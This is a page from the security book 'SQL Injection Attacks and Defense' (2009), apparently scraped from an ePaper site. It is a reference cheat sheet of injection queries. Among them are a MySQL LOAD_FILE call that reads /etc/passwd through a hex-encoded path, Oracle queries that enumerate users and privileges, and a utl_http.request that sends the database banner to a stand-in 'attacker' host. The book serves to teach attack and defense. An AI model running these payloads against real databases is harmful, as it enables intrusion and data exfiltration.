28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

References • Chapter 10 435<br />

If MAGIC_QUOTES_GPC is enabled, you can represent the file path using a hexadecimal<br />

string to avoid using single-quote characters:<br />

SELECT LOAD_FILE(0x2f6574632f706173737764);# Loads /etc/passwd<br />

You can use a tool called SqlDumper written by Antonio “s4tan” Parata to read file<br />

contents via blind <strong>SQL</strong> injection. SqlDumper is available for download at www.ictsc.it/site/<br />

IT/projects/sqlDumper/sqlDumper.php.<br />

Oracle Cheat Sheet<br />

The Oracle database is typically implemented for large-scale applications where database<br />

performance or high availability is a key requirement.<br />

Enumerating Database<br />

Configuration Information <strong>and</strong> Schema<br />

Table 10.14 lists <strong>SQL</strong> statements used to extract key configuration information. Tables 10.15<br />

<strong>and</strong> 10.16 list the <strong>SQL</strong> statements used to enumerate Oracle schema information.<br />

Table 10.14 Extracting Oracle Server Configuration Information<br />

Data<br />

Version<br />

Current user<br />

List users<br />

Current user<br />

privileges<br />

AppServer<br />

host name<br />

Database server<br />

host name<br />

Establish external<br />

connections<br />

Query<br />

SELECT banner FROM v$version;<br />

SELECT user FROM dual;<br />

SELECT username FROM all_users ORDER BY username;<br />

SELECT * FROM user role_privs;<br />

SELECT * FROM user_tab_privs;<br />

SELECT * FROM user_sys_privs;<br />

SELECT sys_context('USERENV', 'ISDBA') FROM dual;<br />

SELECT sys_context('USERENV', 'HOST') FROM dual;<br />

SELECT sys_context('USERENV', 'SERVER_HOST') FROM dual;<br />

SELECT utl_http.request('http://attacker:1000/'||( SELECT<br />

banner FROM v$version WHERE rownum=1)) FROM dual<br />

Establishes an HTTP connection over port 1000 to the host;<br />

attacker, the HTTP request, contains the Oracle version<br />

banner within the request path.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!